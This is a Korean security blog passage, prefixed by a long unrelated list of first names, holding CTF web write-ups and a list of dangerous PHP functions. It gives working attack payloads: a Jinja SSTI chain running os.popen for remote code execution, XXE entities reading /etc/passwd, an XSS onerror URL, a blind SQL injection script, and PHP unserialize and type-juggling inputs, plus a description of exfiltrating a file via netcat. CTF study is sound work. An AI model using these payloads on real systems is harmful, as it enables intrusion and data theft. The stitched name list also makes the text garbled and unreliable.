Margie
Cynthia
Bonnie
Eleanor
Lucy
Nina
Angela
Julia
Valerie
Tonya
Cassandra
Melissa
Ruby
Danielle
Ella
Leah
Brenda
Lois
Megan
Stacey
Penny
Amy
Tina
Alicia
Wilma
Kay
Anna
Phyllis
Suzanne
Gina
Priscilla
Rebecca
Norma
Michele
Kristin
Naomi
Virginia
Paula
Gail
Jessie
Carole
Kathleen
Diana
Bertha
Natalie
Brandy
Pamela
Annie
Darlene
Agnes
Olga
Martha
Lillian
Veronica
Vera
Billie
Debra
Emily
Jill
Willie
Dianne
Amanda
Robin
Erin
Charlene
Tracey
Stephanie
Peggy
Geraldine
Bessie
Leona
Carolyn
Crystal
Lauren
Delores
Jenny
Christine
Gladys
Cathy
Melinda
Felicia
Marie
Rita
Joann
Pearl
Sonia
Janet
Dawn
Lorraine
Arlene
Miriam
Catherine
Connie
Lynn
Maureen
Velma
Frances
Florence
Sally
Colleen
Becky
Ann
Tracy
Regina
Allison
Bobbie
Joyce
Edna
Erica
Tamara
Violet
Diane
Tiffany
Beatrice
Joy
Kristina
Alice
Carmen
Dolores
Georgia
Toni
Julie
Rosa
Bernice
Constance
Misty
Heather
Cindy
Audrey
Lillie
Mae
Teresa
Grace
Yvonne
Claudia
Shelly
Doris
Wendy
Annette
Jackie
Daisy
Gloria
Victoria
June
Marcia
Ramona
Evelyn
Edith
Samantha
Tanya
Sherri
Jean
Kim
Marion
Nellie
Erika
Cheryl
Sherry
Dana
Minnie
Katrina
Mildred
Sylvia
Stacy
Marlene
Claire
James
Willie
Chad
Zachary
Mathew
John
Ralph
Jacob
Corey
Tyrone
Robert
Lawrence
Lee
Herman
Darren
Michael
Nicholas
Melvin
Maurice
Lonnie
William
Roy
Alfred
Vernon
Lance
David
Benjamin
Kyle
Roberto
Cody
Richard
Bruce
Francis
Clyde
Julio
Charles
Brandon
Bradley
Glen
Kelly
Joseph
Adam
Jesus
Hector
Kurt
Thomas
Harry
Herbert
Shane
Allan
Christopher
Fred
Frederick
Ricardo
Nelson
Daniel
Wayne
Ray
Sam
Guy
Paul
Billy
Joel
Rick
Clayton
Mark
Steve
Edwin
Lester
Hugh
Donald
Louis
Don
Brent
Max
George
Jeremy
Eddie
Ramon
Dwayne
Kenneth
Aaron
Ricky
Charlie
Dwight
Steven
Randy
Troy
Tyler
Armando
Edward
Howard
Randall
Gilbert
Felix
Brian
Eugene
Barry
Gene
Jimmie
Ronald
Carlos
Alexander
Marc
Everett
Anthony
Russell
Bernard
Reginald
Jordan
Kevin
Bobby
Mario
Ruben
Ian
Jason
Victor
Leroy
Brett
Wallace
Matthew
Martin
Francisco
Angel
Ken
Gary
Ernest
Marcus
Nathaniel
Bob
Timothy
Phillip
Micheal
Rafael
Jaime
Jose
Todd
Theodore
Leslie
Casey
Larry
Jesse
Clifford
Edgar
Alfredo
Jeffrey
Craig
Miguel
Milton
Alberto
Frank
Alan
Oscar
Raul
Dave
Scott
Shawn
Jay
Ben
Ivan
Eric
Clarence
Jim
Chester
Johnnie
Stephen
Sean
Tom
Cecil
Sidney
Andrew
Philip
Calvin
Duane
Byron
Raymond
Chris
Alex
Franklin
Julian
Gregory
Johnny
Jon
Andre
Isaac
Joshua
Earl
Ronnie
Elmer
Morris
Jerry
Jimmy
Bill
Brad
Clifton
Dennis
Antonio
Lloyd
Gabriel
Willard
Walter
Danny
Tommy
Ron
Daryl
Patrick
Bryan
Leon
Mitchell
Ross
Peter
Tony
Derek
Roland
Virgil
Harold
Luis
Warren
Arnold
Andy
Douglas
Mike
Darrell
Harvey
Marshall
Henry
Stanley
Jerome
Jared
Salvador
Carl
Leonard
Floyd
Adrian
Perry
Arthur
Nathan
Leo
Karl
Kirk
Ryan
Dale
Alvin
Cory
Sergio
Roger
Manuel
Tim
Claude
Marion
Joe
Rodney
Wesley
Erik
Tracy
Juan
Curtis
Gordon
Darryl
Seth
Jack
Norman
Dean
Jamie
Kent
Albert
Allen
Greg
Neil
Terrance
Jonathan
Marvin
Jorge
Jessie
Rene
Justin
Vincent
Dustin
Christian
Eduardo
Terry
Glenn
Pedro
Javier
Terrence
Gerald
Jeffery
Derrick
Fernando
Enrique
Keith
Travis
Dan
Clinton
Freddie
Samuel
Jeff
Lewis
Ted
Wade

와일드 카드 DNS 서비스

POSIX — Sun, 7 Apr 2019 22:57:59 +0900

Midnightsun CTF 2019를 통해 접하게 된 정보입니다.

일반적으로 DNS는

한 도메인에 대하여 1~N개의 IP주소를 가지며

서브 도메인에 대하여 또 몇가지로 분기됩니다.

예시를 들어보면

example.com : 35.180.12.3

www.example.com : 35.180.12.4

m.example.com : 35.180.12.5

질의에 대하여 위와 같은 내용으로

IP를 반환해주는 DNS가 존재할 수 있겠습니다.

하지만, 이 녀석들은 그렇지 않습니다.

서브 도메인으로 입력받은 그대로 IP를 반환하여 주기에

조금 특수한 용도로 사용할 수 있는데요.

만약 127.0.0.1.xip.io를 쿼리하면

127.0.0.1 주소를 반환하여 실제로 루프백 주소를 반환하게 됩니다.

따라서 입력하기에 따라서 존재하는 모든 IP를 반환할 수 있겠죠?

여기서 주목할 만한 부분은

IP 앞쪽에 서브넷이 붙는 경우인데요

http://this.is.a.vulnerable.domain.127.0.0.1.nip.io

와 같이 추가적인 서브도메인이 붙더라도

무시하고 127.0.0.1이 반환됩니다.

이를 이용하면

인자를 통해 다른 도메인의 내용을 읽어들여 반환하는 경우

상황에 따라 서버 접근을 우회할 수도 있습니다.

참조 https://moss.sh/free-wildcard-dns-services/

취약점 존재 가능한 PHP 함수 목록

POSIX — Sun, 7 Apr 2019 20:17:45 +0900

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
`` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec     - Executes a program

PHP Code Execution

eval()
assert()  - identical to eval()
preg_replace('/.*/e',...) - /e does an eval() on the match
create_function()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']); $func->invoke(); or $func->invokeArgs(array());

List of functions which accept callbacks

Function                     => Position of callback arguments
'ob_start'                   =>  0,
'array_diff_uassoc'          => -1,
'array_diff_ukey'            => -1,
'array_filter'               =>  1,
'array_intersect_uassoc'     => -1,
'array_intersect_ukey'       => -1,
'array_map'                  =>  0,
'array_reduce'               =>  1,
'array_udiff_assoc'          => -1,
'array_udiff_uassoc'         => array(-1, -2),
'array_udiff'                => -1,
'array_uintersect_assoc'     => -1,
'array_uintersect_uassoc'    => array(-1, -2),
'array_uintersect'           => -1,
'array_walk_recursive'       =>  1,
'array_walk'                 =>  1,
'assert_options'             =>  1,
'uasort'                     =>  1,
'uksort'                     =>  1,
'usort'                      =>  1,
'preg_replace_callback'      =>  1,
'spl_autoload_register'      =>  0,
'iterator_apply'             =>  1,
'call_user_func'             =>  0,
'call_user_func_array'       =>  0,
'register_shutdown_function' =>  0,
'register_tick_function'     =>  0,
'set_error_handler'          =>  0,
'set_exception_handler'      =>  0,
'session_set_save_handler'   => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate'    => array(2, 3),
'sqlite_create_function'     =>  2,

Information Disclosure

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Other

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Filesystem Functions

// open filesystem handler
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
// write to filesystem (partially in combination with reading)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng   - 2nd parameter is a path.
imagewbmp  - 2nd parameter is a path. 
image2wbmp - 2nd parameter is a path. 
imagejpeg  - 2nd parameter is a path.
imagexbm   - 2nd parameter is a path.
imagegif   - 2nd parameter is a path.
imagegd    - 2nd parameter is a path.
imagegd2   - 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
// read from filesystem
file_exists
file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
highlight_file
show_source
php_strip_whitespace
get_meta_tags

Origin : https://stackoverflow.com/questions/3115559/exploitable-php-functions

Marcodowno 문제풀이

POSIX — Sat, 6 Apr 2019 15:39:42 +0900

Midnightsun CTF web 1번

XSS 문제입니다.

사이트에 접속하면 위와 같은 폼이 하나 있는데

가운데 텍스트 박스에 접속시 alert(1) 가 뜨도록

xss 처리가 된 URL을 넣어주면 해결입니다.

물론 URL 해당 사이트 내부 URL 이어야 하고

중간의 here 이라는 색상이 다른 텍스트를 보면

링크가 걸려있는데요.

해당 서비스 페이지 내에서 파라미터를 적절히 넣어주면

자바스크립트를 통해 렌더링되기에

이를 잘 활용하면 되겠습니다.

here 문자열을 클릭해 링크로 접속하면

Input, Preview 두개의 란이 존재합니다.

Input에 뭔가를 입력하면 일정 규칙에 따라 변환되어

Preview 란에 나타나게 되는 것이죠.

사이트에 접속하면 location.search 에서

정규식을 통해 Input 이후 문자열를 추출하여

자동으로 input에 넣고 렌더링하도록 되어 있습니다.

정규식 자체에는 아무 제한도 걸려있지 않네요.

그리고 markdown 이라는 자바스크립트 함수가 눈에 들어오는데

입력을 필터링해 주는 함수입니다.

function markdown(text){
	text = text.replace(/[<]/g, '')
	text = text.replace(/----/g,'<hr>')
	text = text.replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')
	text = text.replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')
	text = text.replace(/__([^_]+)__/g, '<b>$1</b>')
	text = text.replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')
	text = text.replace(/\* ([^*]+)/g, '<li>$1</li>')
	text = text.replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')
	text = text.replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')
	text = text.replace(/### ([^#\n]+)/g, '<h3>$1</h3>')
	text = text.replace(/## ([^#\n]+)/g, '<h2>$1</h2>')
	text = text.replace(/# ([^#\n]+)/g, '<h1>$1</h1>')
	text = text.replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')
	text = text.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')
	text = text.replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')
	text = text.replace(/`([^`]+)`/g, '<code>$1</code>')
	text = text.replace(/```([^`]+)```/g, '<code>$1</code>')
	text = text.replace(/\n/g, "<br>");
	
	return text;
}

markdown 함수를 조금 보기 쉽게 바꾸어 보았습니다.

< 문자를 전부 삭제하고 시작하니

태그를 그냥 입력해서는 정상 동작하지 않겠네요.

그런데 마지막에서 5번째 라인을 보면

img 태그가 존재하는 것을 볼 수 있습니다.

!(alt)[url of image] 와 같은 형식으로 이미지 태그를 작성할 수 있습니다.

따라서 아래와 같은 형식으로 작성해주면

<div id="rendered" class="rendered background-grey">
	<img src="http://www.example.com" alt="hello">
</div>

이미지 태그가 작성됩니다.

여기서 alt 부분에 조금 바꾸어주면

<div id="rendered" class="rendered background-grey">
	<img src="http://www.example.com" alt="" onerror="alert(1)" "="">
</div>

위와 같이 onerror부분에 스크립트 삽입이 되며

alert이 뜨는 것을 확인할 수 있었습니다.

이제 이를 URI 인코딩을 하여 메인화면에서 전송해 주면

플래그를 얻을 수 있겠습니다.

http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=%21%5B%22%20onerror%3D%22alert%281%29%22%5D%28http%3A//www.example.com%29

repeaaaaaat 문제풀이

POSIX — Wed, 3 Apr 2019 16:40:34 +0900

Encrypt CTF web 4번

Flask SSTI 문제입니다.

사이트에 접속하면 푸른 아이콘들이 보이는데

스크롤을 내리려고 하면 이미지가 계속적으로 증가하기에

하단 내용을 확인할 수 없도록 되어 있습니다.

소스를 확인하면 스크롤시 이미지 증식 기능을 구현하는

자바스크립트 코드와 하단에 base64로 인코딩된 주석문이 보입니다.

d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK
L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==
Lz9zZWNyZXQ9ZmxhZw==

what_are_you_searching_for
/lol_no_one_will_see_whats_here
/?secret=flag

주석은 새로고침을 할 때마다 랜덤으로 바뀌는데

디코딩 해보면 페이지의 파라미터 힌트가 주어집니다.

http://104.154.106.182:5050/?secret=posix.tistory.com

입력된 값이 특별한 필터링 절차없이

그대로 페이지에 추가되는 것을 보고

바로 SSTI 기법을 떠올릴 수 있었습니다.

104.154.106.182:5050/?secret={{7*7}}

추측대로 Jinja 기반의 SSTI가 가능하다는 것을 확인할 수 있었는데

서버 엔진은 응답헤더에서 확인할 수 있는 정보입니다.

{% for c in [].__class__.__base__.__subclasses__() %}
	{% if c.__name__ == 'catch_warnings' %}
			{% for b in c.__init__.__globals__.values() %}
				{% if b.__class__ == {}.__class__ %}
					{% if 'eval' in b.keys() %}
						{{b['eval']("__import__('os').popen(__import__('base64').urlsafe_b64decode('bHM=').decode()).read()")}}
					{% endif %}
				{% endif %}
			{% endfor %}
	{% endif %}
{% endfor %}

위 페이로드를 URI 인코딩하여 삽입하는 것으로

RCE 가 가능했습니다.

bHM= 은 ls 를 base64 인코딩한 문자열 입니다.

cat flag.txt 명령어를 사용해 주면 플래그를 확인할 수 있습니다.

아래는 동일 취약점을 통해 얻어낸 페이지 소스로

참고를 위해 올립니다.

from flask import Flask, render_template, request, render_template_string
import random

app = Flask(__name__)

app.secret_key = "cf49d97a5680998cbddbee283eeb03adbeda772b"

@app.route("/lol_no_one_will_see_whats_here")
def troll1():
    return render_template("troll1.html")

@app.route("/what_are_you_searching_for")
def troll2():
    return render_template("troll2.html")

@app.route("/", methods=["GET"])
def inject():
    hints = ["Lz9zZWNyZXQ9ZmxhZw==", "L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==", 
             "d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK"];
    hint = hints[random.randint(0, len(hints)-1)]
    secret = request.args.get("secret", default="")
    template = """


    
    repeaaaaaat
    
      SCRIPT
      
        
        function repeat() {
            for(var i=0; i&lt;10; i++) {
            lol = document.createElement("img")
            lol.src = "/static/lol.png"
            var shit = document.getElementById(shit')
            shit.appendChild(lol)
            }
        }
    
      
    Hello,             %s """ % (secret, hint) return render_template_string(template) if __name__ == "__main__": app.run(debug=True)

Sweet 문제풀이

POSIX — Wed, 3 Apr 2019 16:23:09 +0900

Encrypt CTF web 1번

쿠키 변조 문제입니다.

링크에 접속해 새로고침을 두어번 하다보면

본 적 없던 쿠기 값들이 눈에 띕니다.

이미 동일한 값으로 설정되었음에도

Set-Cookie: FLAG=... 헤더를 보내오는데요.

세션 토큰을 제외한 쿠키들을 모두 삭제하고

다시금 페이지를 요청하면 Set-Cookie: UID=...

헤더가 전송되어 오는 것을 확인할 수 있습니다.

md5('100') = f899139df5e1059396431415e770c6dd

몇번을 재요청해도

f899139df5e1059396431415e770c6dd 으로만 설정되는

이 UID 값은 100을 md5 해싱한 값과 동일합니다.

분기문에 쓰일 것이라고 추측하여

md5('0') 값을 UID에 넣어 재요청해보니

플래그를 얻어낼 수 있었습니다.

Portfolio 문제풀이

POSIX — Mon, 1 Apr 2019 10:06:55 +0900

Sunshine CTF web 3번

Flask SSTI Injection 문제입니다.

주소에 접속하면 두개의 페이지 링크가 존재합니다.

상단의 Custom greeting을 먼저 살펴보겠습니다.

/hello/name 주소로 바로 연결되고

파이썬 웹 프레임워크 Flask를 사용하고 있다고 알려주네요.

뒤의 name 부분은 자유롭게 변경이 가능합니다.

바로 SSTI가 가능한지 확인해 보기 위해서

49를 기대하고 {{7*7}}를 삽입해 보았습니다.

그러나 escape되는 듯 적용되지 않습니다.

두번째 페이지를 살펴 보겠습니다.

단일 입력 폼이 보이는데

제출해도 간단한 텍스트가 출력되는 것이 전부입니다.

그런데 소스를 보면 주석화된 옵션이 존재합니다.

템플릿을 확인해 보니 config.DEBUG 가 설정되어 있으면

플래그를 출력하도록 되어 있습니다.

실제로 페이지를 보내 요청해보면

플래그는 보이지 않으니, config.DEBUG가 설정되지 않은 상태인듯 하죠.

template 인자로 메인페이지에 있었던

첫번째 페이지 주소를

삽입하니 SSTI 가 되는 것을 확인할 수 있었습니다.

이전의 템플릿을 통하여

플래그가 config 내에 저장되어 있다는 것을 알고 있으니

config를 출력하도록 해 주면 해결됩니다.

Wrestler Name Generator 문제풀이

POSIX — Sun, 31 Mar 2019 20:20:49 +0900

Sunshine CTF web 2번

XXE Injection 문제입니다.

주소에 접속하면 특이한 서비스 페이지가 주어지는데

성, 이름, 무기를 선택할 수 있습니다.

제출하면 재미있게도 중간 이름을 만들어 줍니다.

요청은 GET 메소드를 통해 이루어집니다.

input 인자 값이 익숙한 형태로 되어 있네요.

<?xml version='1.0' encoding='UTF-8'?>
<input>
<firstName>lee</firstName>
<lastName>posix</lastName>
</input>

디코딩 하면 위와 같은 xml 형식의 데이터를 확인할 수 있습니다.

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>posix</lastName>
</input>

Entity를 삽입해보니 /etc/passwd 파일을 정상적으로 참조합니다.

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>posix</lastName>
</input>

php://filter 를 사용하여 현 폴더의

generate.php 파일을 base64 변환하여 읽도록 하였습니다.

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
	echo "Please include the 'input' get parameter with your request, Brother";
	return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Wrestler Name Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your Wrestler Name Is:</h1>
  <h2>$generatedName</h2> 
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
  <a href="/">Go Back</a> 
</div>
</body>
</html>
EOT;
?>

상단에서 요청 주소가 $whitelist에 속한 경우

flag를 출력하도록 되어 있습니다.

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://localhost/generate.php">
]>
<input>
<firstName>&xxe;</firstName>
<lastName>posix</lastName>
</input>

xml 내에서 해당 페이지를 참조하도록 요청하는 것으로

플래그를 얻어올 수 있었습니다.

Wrestler Book 문제풀이

POSIX — Sun, 31 Mar 2019 20:04:14 +0900

Sunshine CTF Web 1번

SQL Injection 문제입니다.

링크에 접속하면 로그인 페이지가 주어집니다.

적당히 입력하여 제출하면

잘못된 입력이라는 오류가 출력됩니다.

싱글 쿼트를 삽입하면 메시지가 출력되는데

이를 통해 Sqlite3를 사용하고 있다는 것을 알 수 있습니다.

Order by 절을 사용하여 컬럼의 개수를 알아낼 수 있습니다.

시큐어 코딩이 전혀 되어있지 않으므로

Union 절도 문제없이 사용이 가능합니다.

Sqlite3에서 테이블을 확인하는 쿼리를 통해

모든 테이블과 쿼리문을 확인할 수 있었습니다.

users 테이블에 flag 라는 컬럼이 존재하는 것이 눈에 띕니다.

Group_concat 문을 통해 모든 flag 컬럼 데이터를 확인하는 것으로

문제 해결이 가능했습니다.

TimeWarp 문제풀이

POSIX — Sun, 31 Mar 2019 19:54:22 +0900

Sunshine CTF Scripting 1번

문제에 주어진 주소로 접속해보면

0부터 999 사이의 숫자를 하나 낼테니 그대로 다시 보내라고 합니다.

값을 입력하고 난 이후에 답이 주어진다는 것인데요.

정확히 똑같은 순서와 값이 반복되기 때문에

일단 입력하고, 주어지는 값을 저장했다가

다시 시도하면 됩니다.

import socket
from time import sleep
import sys

A = []

while True:

	s = socket.socket()
	s.connect(('tw.sunshinectf.org', 4101))
	
	s.recv(1024)
	s.recv(1024)
	
	if len(A) != 0:
	
		s.send(('\n'.join(A)+'\n').encode())
		sleep(1)
		res = s.recv(99999)
		
		if res.decode().split('\n')[-2].find('sun{') != -1:
			print(res.decode().split('\n')[-2])
			exit()

	s.send('1024\n'.encode())
	answer = s.recv(1024).strip().decode().split('\n')[0]
	A.append( answer )
	print('next answer is ' + answer)

파이썬 스크립트로 문제를 해결했습니다.

eXquisite Scenery Sites 문제풀이

POSIX — Sat, 30 Mar 2019 23:03:34 +0900

b00t2root 2019 web 4번

XSS 문제입니다.

링크에 접속하면 우측 상단에 버튼이 하나 보입니다.

관리자에게 메시지를 보내는 서비스 페이지입니다.

입력이 주어지면 상단에 alert 명령어가 보여지는데

관리자가 메시지를 금방 확인할 것이라고 합니다.

script img 등 태그명, 온점 등이 필터링 되고

입력시 한탄하는 메시지가 나오므로 주의합시다.

온점이 들어가는 document.cookie 등은 document['cookie']로 바꾸고

ip 주소는 정수형태로 변경하여 필터링을 우회하였습니다.

수신되는 패킷의 쿠키를 확인해보면

접속해 볼 것도 없이 플래그가 주어집니다.

참조문서

https://blog.minivet.kr/?p=315

PingService 문제풀이

POSIX — Sat, 30 Mar 2019 22:53:05 +0900

b00t2root 2019 web 3번

RCE 문제입니다.

접속하면 위와 같은 메시지를 보실 수 있는데

로컬에서 보낸 패킷이라고 여기게 하면 됩니다.

X-Forwarded-For 헤더를 변조하여 해결하였는데요.

이는 프록시를 통해 통신할 경우에 사용되는 헤더로

실제 통신하는 프록시 서버에서는 연결자의 IP를

위 헤더에 첨가해 호스트로부터 응답자를

식별할 수 있도록 하는 역할을 합니다.

따라서 127.0.0.1로 설정해주고

다시 패킷을 전송해 봅니다.

페이지와 그 소스가 출력되는데 상단에 ping을 보내어

응답을 확인할 수 있도록 하는 폼이 보입니다.

서버가 존재하지 않는 IP를 입력해 테스트해 보면

Not Alive 문자열이 나타나는 것을 볼 수 있습니다.

정확하게는 shell_exec를 통해 실행된 명령 응답에서

100% packet loss 라는 문자열이 포함되어 있으면 Not Alive를

그렇지 않으면 Alive를 출력하는 구조인데요.

clean() 이라는 함수를 통하여

일차적으로 정규식 검증이 이루어지지만

%0a 뒤에 들어가는 내용에 대해서는

검사를 하지 않는다는 것을 확인하였습니다.

추가로 clean() 은 인자의 공백을 제거하는 역할도 하는데

스페이스 대신에 탭 문자를 넣음으로서 우회가 가능합니다.

따라서 서버의 포트를 열어두고

netcat으로 flag.php 파일의 내용을 전송하도록 하면

서버에서 수신이 가능했습니다.

Set Me Free 문제풀이

POSIX — Sat, 30 Mar 2019 21:26:32 +0900

b00t2root 2019 web 2번

SQL 인젝션 문제입니다.

링크에 접속하면 소스가 출력되는 것을 확인할 수 있습니다.

다른 페이지에서도 모두 마찬가지입니다.

가입 페이지에 접근하면 위와 같은 소스를 볼 수 있는데

유저를 생성하기 위해 유저네임이 사용중인지 검증하는 쿼리에서

문자열 escape 처리가 되어 있지 않은데요.

여기서 blind sql injection을 사용해 문제를 해결할 수 있습니다.

from urllib import request, parse
import sys, math

def send(query):

	data = parse.urlencode({ 'username' : "') and if((%s),1,0) #" % query }).encode()

	req = request.Request('http://3.16.68.122/smf/register.php', data = data)
	req.get_method = lambda : 'POST'
	res = request.urlopen(req).read().decode()
	
	return res.find('User Not Registered') != -1; # means true

def greater_than_or_equal(query, i):
	return send('%s >= %d' % (query, i));
	
def equal(query, i):
	return send('%s = %d' % (query, i));

def search(query):
	min_val = 0
	max_val = 128
	
	while min_val + 1 < max_val:
		mid = math.floor((min_val + max_val) / 2)
		
		if greater_than_or_equal(query, mid):
			min_val = mid
		else:
			max_val = mid
	
	if not equal(query, min_val):
		return search(query)
	
	return min_val
	
def get_length(query):
	return search('length((%s))' % query)
	
def get_and_print_content(query, length):
	content = ''
	for i in range(length):
		content += chr(search('ord(substr((%s), %d, 1))' % (query, i + 1)))
		sys.stdout.write('\r[%s] %s%s' % (length, content, '_' * (length - len(content))))
	print('')
	return content

if __name__ == '__main__':
	arg = ' '.join(sys.argv[1:])
	
	content_len = get_length(arg)
	get_and_print_content(arg, content_len)

파이썬 3.7 기준 코드로 이진 검색을 사용하여 작성하였습니다.

users 테이블과 chck 테이블에는 사용자 정보와

접근 제한 정보를 따로 설정해 두었습니다.

처음에는 isRestricted 값이 FALSE 인 계정을 찾아보았는데

전혀 존재하지 않아서, 애초에 chck 테이블에 등록이 되지 않은

계정을 탐색하였습니다.

chck 테이블에 등록이 되어있지 않으면

isRestricted 값이 FALSE 인 상태와

동일하게 분기를 통과하게 됩니다.

따라서 chck 테이블의 userid 칼럼과 중복되지 않은

users.id 값을 가지고 있는 계정을 찾아 로그인 하면 되겠습니다.

Easy PHP 문제풀이

POSIX — Sat, 30 Mar 2019 20:51:02 +0900

b00t2root 2019 web 1번

PHP Type juggling, unserialize 취약점 문제입니다.

페이지에 접속하면 highlight_file 함수에 의해

소스가 출력되는데. 그 아래를 보면

$_GET['1']과 md5($_GET['1']) 을 비교하고 있습니다.

md5에는 해싱 이후에도 동일한 0e[0-9]+ 형식이 반환되는

매직 해시가 존재하는데

http://3.16.68.122/Easy-php/?1=0e215962017

둘 모두 지수표현으로서 매우 작은 값이므로

이 매직 해시와 php의 느슨한 비교 취약점을 사용하면

비교문을 통과할 수 있습니다.

다음은 $_GET['2']와 $_GET['3'] 을 인자로 사용하는데

엄격한 비교 연산자 !== 를 사용해 둘이 모두 같지 않아야 하고

숨겨진 값인 $salt를 접두시켜 해싱한 결과같이 동일해야 합니다.

http://3.16.68.122/Easy-php/?1=0e215962017&2[]=1&3[]=2

그러나 이 hash함수는 두 인자에 배열을 입력해줌으로서

isset을 통과하고 hash 인자로서 기능하지 않도록 할 수 있습니다.

unserialize 함수로 $_GET['4'] 인자를 역직렬화 시키는데

친절하게도 상단에 Secrets이라는 객체를 선언해 주었습니다.

$flag3 가 대입되는 $res->flag와 $res->temp가 동일해야 하는데

http://3.16.68.122/Easy-php/?1=0e215962017&2[]=&3[]=&4=O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}

이 두 값들은 인자를 역직렬화 시켜 나온 객체를 통해

연산하므로 $res->temp 를 $res->flag의 레퍼런스 변수로 생성해 줌으로서

비교문을 통과할 수 있습니다.

이로서 간단하게 플래그를 얻어낼 수 있었습니다.

다른 도구를 사용하지 않고 브라우저만으로 해결이 가능한 문제라 편했네요.

Vim에서 한글이 제대로 출력되지 않는 경우 해결법

POSIX — Wed, 13 Mar 2019 16:03:25 +0900

Vim 을 처음 설치하고 나면

한글을 비롯하여 기타 언어들이 제대로 표시되지 않습니다.

이는 기본 인코딩이 latin1으로 설정되어 있기 때문인데요.

설정 변경으로 간단히 해결할 수 있습니다.

Vim에 들어가 :set encoding=utf-8

을 입력하면 글자가 제대로 표시되는것을 확인할 수 있습니다.

이를 영구적으로 설정해주려면

홈 폴더의 .vimrc 파일을 수정하여 주면 되는데요.

모든 유저에게 적용하려면

/etc/vim/vimrc 파일을 수정하면 되겠습니다.

encoding 옵션은 표시 옵션이며

fileencoding은 파일 입출력시의 옵션이기에

encoding 만 설정해두고 fileencodings 설정을

해 주지 않으면, Vim에서는 제대로 나오나

타 프로그램에서 제대로 표시되지 않을 수 있습니다.

리눅스 폴더명 영어로 변경하기

POSIX — Wed, 13 Mar 2019 15:47:25 +0900

한글 언어셋으로 하여 리눅스를 설치하고 나면

기본 폴더가 한글명으로 생성되어 있습니다.

